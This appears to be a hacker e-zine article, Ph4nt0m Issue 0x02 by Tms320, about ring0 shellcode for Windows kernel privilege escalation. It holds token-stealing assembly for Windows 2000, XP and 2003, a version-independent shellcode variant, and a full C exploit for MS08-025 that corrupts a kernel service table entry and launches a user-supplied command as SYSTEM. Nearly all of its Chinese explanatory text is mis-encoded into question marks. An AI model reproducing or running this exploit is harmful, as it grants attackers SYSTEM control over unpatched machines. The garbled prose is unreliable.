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==Ph4nt0m Security Team==
Issue 0x02, Phile #0x05 of 0x0A
|=---------------------------------------------------------------------------=|
|=------------------------=[ ??д??????shellcode ]=------------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=-----------------------=[ By Tms320 ]=----------------------=|
|=----------------------=[ <Tms320_at_ph4nt0m.org> ]=---------------------=|
|=---------------------------------------------------------------------------=|
???????????????????о????????ring3??????ring0
???????ms08-025?????????????????????????????????NT???????汾??
??????????о????????????????t???????????????ó????????????????????
???????????ring0????????????????????????????????????????????
system?????м???
???????????ó???ring0 shellcode????????system?????Token???赱???????
???system?????????????????￡?
if ( OsVersionInfo.dwMinorVersion == 0 ) {
__asm {
nop
nop
nop
nop
nop
nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]
mov esi,[eax+0x44]//????????EPROCESS
mov eax,esi
search2000:
mov eax,[eax+0xA0]
sub eax,0xA0
mov edx,[eax+0x9C]
cmp edx,0x8 // ???PID??????????
jne search2000
mov eax,[eax+0x12C] // ???system?????token
mov [esi+0x12C],eax // ??????????token
ret 8
}
}
if ( OsVersionInfo.dwMinorVersion == 1 ) {
__asm {
nop
nop
nop
nop
nop
nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]
mov esi,[eax+0x220]
mov eax,esi
searchXp:
mov eax,[eax+0x88]
sub eax,0x88
mov edx,[eax+0x84]
cmp edx,0x4 // ???PID??????????
jne searchXp
mov eax,[eax+0xc8] // ???system?????token
mov [esi+0xc8],eax // ??????????token
ret 8
}
}
if ( OsVersionInfo.dwMinorVersion == 2 ) {
__asm {
nop
nop
nop
nop
nop
nop
mov eax,0xFFDFF124 // eax = KPCR (not 3G Mode)
Mov eax,[eax]
mov esi,[eax+0x218]
mov eax,esi
search2003:
mov eax,[eax+0x98]
sub eax,0x98
mov edx,[eax+0x94]
cmp edx,0x4 // ???PID??????????
jne search2003
mov eax,[eax+0xd8] // ???system?????token
mov [esi+0xd8],eax // ??????????token
ret 8
}
}
???????????????????EPROCESS???????????????????system????PID???????
?????????????EPROCESS???????system???????????ж????汾????????????????
???ring0 shellcode????????????????????????????????????????￡????????
?????????????????????????????sp1??2k3??????????????????ring0???ó??????
??????????
???????????????????
??????????????????????????????????????ring3 shellcode????????
??????API???????????????????????API???????????????
?????????system?????Token???赱???н????????????????μ??????
1.???system????EPROCESS??ring0 ??????????EPROCESS??????ntoskrnl.exe????
??PsInitialSystemProcess ????????system?????EPROCESS?????????????
ntoskrnl.exe???????????PsInitialSystemProcess??????system?????EPROCESS??
2.??????????EPROCESS??ntoskrnl.exe????IoThreadToProcess??xp??2k3??
PsGetThreadProcess??????????????????????????????????????????KPCR+124h
???????????????????IoThreadToProcess??????????????EPROCESS???????
?????汾??NT????KPCR??????????????????,????????????????[0FFDFF124h]
??????????ETHREAD???
3.?滻????????Token?system??Token??????Token??EPROCESS?е????????????
?????????????????????滻??ntoskrnl.exe????PsReferencePrimaryToken????????
???EPROCESS?Token???????????????????????????????????????????
????win 2k????PsReferencePrimaryToken?Token????????
mov eax, [ebp+8]
mov edi, [eax+12Ch]
lea eax, [edi-18h]
????win xp/2k3????PsReferencePrimaryToken?Token????????
mov edi, [ebp+8]
lea ebx, [edi+0D8h]
???????????????????????????????????????PsReferencePrimaryToken??
??????????lea????á??????????С??EPROCESS?????????????lea???????λ
???????0?????????????Token?????????
???????????????????shellcode??
PsReferencePrimaryToken=80123456h
PsInitialSystemProcess=80123456h
IoThreadToProcess=80123456h;
pushad
pushfd
mov esi,PsReferencePrimaryToken
findtokenoffset:
lodsb
cmp al, 8Dh;
jnz findtokenoffset
mov edi,[esi+1]
and al, [esi+3];?ж?????Win 2k
jz @F
mov edi,[esi-5]
@@:
mov esi, [PsInitialSystemProcess]
push dword ptr [0FFDFF124h]
mov eax,PsGetThreadProcess
call eax
add esi, edi
add edi, eax
movsd
popfd
popad
ret 08h
?????е????PsReferencePrimaryToken??PsInitialSystemProcess??IoThreadToProcess
???????????ntoskrnl.exe????GetProcAddress??????????????????????????????????
??????ms08-025??????ó????????????Щ??????????
?????????????????
????????shellcode??????API???????????shellcode??????API?????????
???ntoskrnl.exe??????????????PE?????????????ring3????API??????ring0
????????????????????API????????????API??????????????????ntoskrnl.exe
??????????????????е??????????PE???á????????ж??????????У??????????
??????ntoskrnl.exe?ж????????????????sidt??????????????????ж???????
??????????????ntoskrnl.exe?е??????IDT????????????KPCR???У????????
??????????[0FFDFF038h](KPCR+38h)????ж????
???????????????д??161????ring0 shellcode???????????ms08-025??????С?
????????????ring0 shellcdoe????????????????????????API????????????????
?????????С????ring0 shellcode?????????????????????????????????????
????????
??????
?????ж????汾????????ó??????????????????????????????????
#include <stdio.h>
#include <windows.h>
#pragma comment (lib, "user32.lib")
#pragma comment (lib, "ntdll.lib")
typedef LONG NTSTATUS;
typedef NTSTATUS (NTAPI *PNTALLOCATE)(HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG ZeroBits,
PULONG RegionSize,
ULONG AllocationType,
ULONG Protect );
typedef NTSTATUS (NTAPI *ZWVDMCONTROL)(ULONG, PVOID);
ZWVDMCONTROL ZwVdmControl=NULL;
DWORD PsReferencePrimaryToken = 0;
DWORD PsInitialSystemProcess = 0;
DWORD IoThreadToProcess = 0;
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
typedef enum _SYSTEM_INFORMATION_CLASS {
SystemModuleInformation=11,
} SYSTEM_INFORMATION_CLASS;
typedef struct _IMAGE_FIXUP_ENTRY {
WORD offset:12;
WORD type:4;
} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;
typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11
ULONG Reserved[2];
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT Unknown;
USHORT LoadCount;
USHORT ModuleNameOffset;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
extern "C"
NTSTATUS
NTAPI
NtAllocateVirtualMemory(
IN HANDLE ProcessHandle,
IN OUT PVOID *BaseAddress,
IN ULONG ZeroBits,
IN OUT PULONG AllocationSize,
IN ULONG AllocationType,
IN ULONG Protect
);
extern "C"
NTSTATUS
NTAPI
NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);
extern "C"
PIMAGE_NT_HEADERS
NTAPI
RtlImageNtHeader (
IN PVOID Base
);
extern "C"
PVOID
NTAPI
RtlImageDirectoryEntryToData (
IN PVOID Base,
IN BOOLEAN MappedAsImage,
IN USHORT DirectoryEntry,
OUT PULONG Size
);
void ErrorQuit(char *msg)
{
printf("%s:%x\n", msg, GetLastError());
ExitProcess(0);
}
DWORD
GetKernelBase(char *KernelName)
{
NTSTATUS status = STATUS_SUCCESS;
ULONG i = 0;
ULONG NeedSize = 0;
ULONG ModuleTotal = 0;
DWORD dwKernelBase = 0;
PCHAR Temp[10];
PSYSTEM_MODULE_INFORMATION SystemModuleInfo = NULL;
status = NtQuerySystemInformation(
SystemModuleInformation,
(PVOID)Temp,
10,
&NeedSize );
if( status != STATUS_INFO_LENGTH_MISMATCH ) {
printf("NtQuerySystemInformation (first) failed, status: %08X\n", status );
return dwKernelBase;
}
SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)LocalAlloc( LPTR, NeedSize );
if ( NULL == SystemModuleInfo ) {
printf("NtQuerySystemInformation failed (second), code: %08X\n", GetLastError() );
return dwKernelBase;
}
status = NtQuerySystemInformation(
SystemModuleInformation,
SystemModuleInfo,
NeedSize,
&NeedSize );
if( status != STATUS_SUCCESS ) {
printf("NtQuerySystemInformation failed, status: %08X\n", status );
return dwKernelBase;
}
ModuleTotal = *(PULONG)SystemModuleInfo;
SystemModuleInfo = (PSYSTEM_MODULE_INFORMATION)((PUCHAR)SystemModuleInfo+4);
for( i=0; i<ModuleTotal; i++ ) {
if( strstr(SystemModuleInfo->ImageName, "ntoskrnl.exe")) {
strcpy(KernelName, "ntoskrnl.exe");
dwKernelBase = (DWORD)SystemModuleInfo->Base;
break;
}
else if( strstr(SystemModuleInfo->ImageName, "ntkrnlpa.exe")) {
strcpy(KernelName, "ntkrnlpa.exe");
dwKernelBase = (DWORD)SystemModuleInfo->Base;
break;
}
}
LocalFree( SystemModuleInfo );
return dwKernelBase;
}
DWORD
FindKiServiceTable(HMODULE hModule, DWORD dwKeSDTOffset)
{
PIMAGE_NT_HEADERS NtHeaders = NULL;
PIMAGE_BASE_RELOCATION ImageBaseReloc = NULL;
PIMAGE_FIXUP_ENTRY ImageFixup = NULL;
DWORD RelocTableSize = 0;
DWORD i;
DWORD dwVirtualAddress;
DWORD dwRva;
DWORD dwKiServiceTable = 0;
NtHeaders = RtlImageNtHeader( hModule );
ImageBaseReloc = (PIMAGE_BASE_RELOCATION)RtlImageDirectoryEntryToData( (PVOID)hModule,
TRUE,
IMAGE_DIRECTORY_ENTRY_BASERELOC,
&RelocTableSize );
if ( NULL == ImageBaseReloc ) {
return 0;
}
do {
ImageFixup = (PIMAGE_FIXUP_ENTRY)((DWORD)ImageBaseReloc + sizeof(IMAGE_BASE_RELOCATION));
for ( i = 0;
i < ( ImageBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) >> 1;
i++, ImageFixup++ ) {
if ( ImageFixup->type == IMAGE_REL_BASED_HIGHLOW ) {
dwVirtualAddress = ImageBaseReloc->VirtualAddress + ImageFixup->offset;
dwRva = *(PDWORD)((DWORD)hModule+dwVirtualAddress) - (DWORD)NtHeaders->OptionalHeader.ImageBase;
if ( dwRva == dwKeSDTOffset ) {
if (*(PWORD)((DWORD)hModule + dwVirtualAddress-2) == 0x05c7) {
dwKiServiceTable = *(PDWORD)((DWORD)hModule + dwVirtualAddress+4) - NtHeaders->OptionalHeader.ImageBase;
return dwKiServiceTable;
}
}
}
}
*(PDWORD)&ImageBaseReloc += ImageBaseReloc->SizeOfBlock;
} while ( ImageBaseReloc->VirtualAddress );
return 0;
}
void InitTrampoline()
{
PNTALLOCATE NtAllocateVirtualMemory;
LPVOID addr = (LPVOID)3;
DWORD dwShellSize=0x1000;
unsigned char trampoline[]=
"\x60\x9C\xBE\x56\x34\x12\x80\xAC\x3C\x8D\x75\xFB\x8B\x7E\x01\x22"
"\x46\x03\x74\x03\x8B\x7E\xFB\x8B\x35\x56\x34\x12\x80\xFF\x35\x24"
"\xF1\xDF\xFF\xB8\x56\x34\x12\x80\xFF\xD0\x03\xF7\x03\xF8\xA5\x9D"
"\x61\xC2\x08\x00";
NtAllocateVirtualMemory = (PNTALLOCATE) GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");
if( !NtAllocateVirtualMemory )
exit(0);
NtAllocateVirtualMemory( (HANDLE)-1,
&addr,
0,
&dwShellSize,
MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
PAGE_EXECUTE_READWRITE );
if( (PULONG)addr )
{
printf("\n[++] Error Allocating memory\n");
exit(0);
}
*(DWORD*)(trampoline+3)=PsReferencePrimaryToken;
*(DWORD*)(trampoline+0x19)=PsInitialSystemProcess;
*(DWORD*)(trampoline+0x24)=IoThreadToProcess;
memcpy(NULL,trampoline,sizeof(trampoline)-1);
}
void GetFunction()
{
HMODULE hNtdll;
hNtdll = LoadLibrary("ntdll.dll");
if(hNtdll == NULL)
ErrorQuit("LoadLibrary failed.\n");
ZwVdmControl = (ZWVDMCONTROL)GetProcAddress(hNtdll, "ZwVdmControl");
if(ZwVdmControl == NULL)
ErrorQuit("GetProcAddress failed.\n");
FreeLibrary(hNtdll);
}
int main(int argc, char **argv)
{
//PULONG PntVdmControl=0x805F0DB0;
DWORD PntVdmControl=0x80800458; //???*(PULONG)(KeServiceDescriptorTalbe)+0x10c*4???
PVOID KeServiceDescriptorTable = NULL;
DWORD dwKernelBase = 0;
DWORD dwKeSDTOffset = 0;
DWORD dwKiServiceTable = 0;
DWORD FuncNumber = 0;
HMODULE hKernel;
char szNtos[MAX_PATH] = {0};
STARTUPINFOA stStartup;
PROCESS_INFORMATION pi;
printf("\n\tMS08-025 Windows Local Privilege Escalation Vulnerability Exploit \n");
printf("\tBy Tms320, Tms320@ph4nt0m.org\n");
printf("\tAll unpathched OS can be compromised\n\n");
if ( argc < 2 )
{
printf("\tUsage: %s <command>\n", argv[0]);
exit(0);
}
GetFunction();
dwKernelBase = GetKernelBase(szNtos);
if( dwKernelBase )
{
printf("Get KernelBase Success, %s base = %08X\n", szNtos, dwKernelBase);
hKernel = LoadLibraryExA(szNtos,0,1);
}
else
{
printf("GetProcAddress failed, code: %d\n", GetLastError());
return FALSE;
}
KeServiceDescriptorTable = GetProcAddress( hKernel, "KeServiceDescriptorTable" );
if ( NULL == KeServiceDescriptorTable ) ErrorQuit("Get KeServiceDescriptorTable Address failed");
printf( "KeServiceDescriptorTable = %08X\n", KeServiceDescriptorTable );
dwKeSDTOffset = (DWORD)KeServiceDescriptorTable - (DWORD)hKernel;
dwKiServiceTable = FindKiServiceTable( hKernel, dwKeSDTOffset );
if ( 0 == dwKiServiceTable )ErrorQuit("Find KiServiceTable failed.\n");
printf( "ok!!!\nKiServiceTable == %08X\n", dwKiServiceTable + dwKernelBase );
FuncNumber = *(PDWORD)((DWORD)ZwVdmControl + 1);
printf( "ZwVdmControl Call Number: %08X\n", FuncNumber );
PntVdmControl = (DWORD)( dwKiServiceTable + dwKernelBase + FuncNumber * sizeof(DWORD) );
PsReferencePrimaryToken = (DWORD)GetProcAddress( hKernel, "PsReferencePrimaryToken" )-(DWORD)hKernel+dwKernelBase;
PsInitialSystemProcess = (DWORD)GetProcAddress( hKernel, "PsInitialSystemProcess" )-(DWORD)hKernel+dwKernelBase;
IoThreadToProcess = (DWORD)GetProcAddress( hKernel, "IoThreadToProcess" )-(DWORD)hKernel+dwKernelBase;
InitTrampoline();
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl );
SendMessageW( GetDesktopWindow(), WM_GETTEXT, 0x80000000, PntVdmControl+2);
printf("\n[+] Executing Shellcode...\n");
ZwVdmControl(0, NULL);
GetStartupInfo( &stStartup );
CreateProcess( NULL,
argv[1],
NULL,
NULL,
TRUE,
NULL,
NULL,
NULL,
&stStartup,
&pi ); //?????????cmd.exe??SYSTEM???
printf("[+] Exiting...\n");
return TRUE;
}
-EOF-
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<![CDATA[<address id="7ztzv"></address>]]>
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